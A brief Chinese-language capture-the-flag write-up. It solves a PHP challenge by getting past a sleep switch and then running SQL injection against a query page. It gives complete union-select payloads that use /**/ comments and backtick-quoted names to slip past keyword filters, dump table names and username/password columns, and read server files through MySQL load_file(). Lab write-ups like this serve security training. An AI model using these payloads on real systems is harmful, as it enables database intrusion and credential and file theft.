題目:
解釋:$c = intval($_GET['c']); //獲取整數值 6
? ? ? ? ? ?sleep($c);//延遲執行當前腳本若干秒。
提示一下哈沒有break會接著執行下面的
但是像是44444,555555,sleep的時間太久
我們用3
進入here_1s_your_f1ag.php是一個查詢頁面,sql注入
查看源碼
過濾的關鍵詞有information_schema.tables,information_schema.columns,linestring,空格,polygon。
查字段數
爆庫名
payload:query=-1/**/union/**/select/**/database()
爆表名
query=-1/**/union/**/select/**/group_concat(table_name)/**/from/**/information_schema.`tables`/**/where/**/table_schema='web'
爆列名
query=-1/**/union/**/select/**/group_concat(column_name)/**/from/**/information_schema.`columns`/**/where/**/table_schema='web'/**/and/**/table_name='content'
爆值
query=-1/**/union/**/select/**/group_concat(id,username,password)/**/from/**/content
這里沒有flag
有一條提示tell you a secret,secert has a secret…?所以很有可能flag在secret.php中
如何讀取???
mysql提供了讀取本地文件的函數load_file()
要權限,用user()看一下權限是root可以用load_file()讀
Wappalyzer 識別到 Nginx,網站默認根目錄:/var/www/html/。
payload: ?query=-1/**/union/**/select/**/load_file("/var/www/html/secret.php")/**/#
查看源碼
真正的flag找到了
payload:?query=-1/**/union/**/select/**/load_file("/real_flag_is_here")/**/#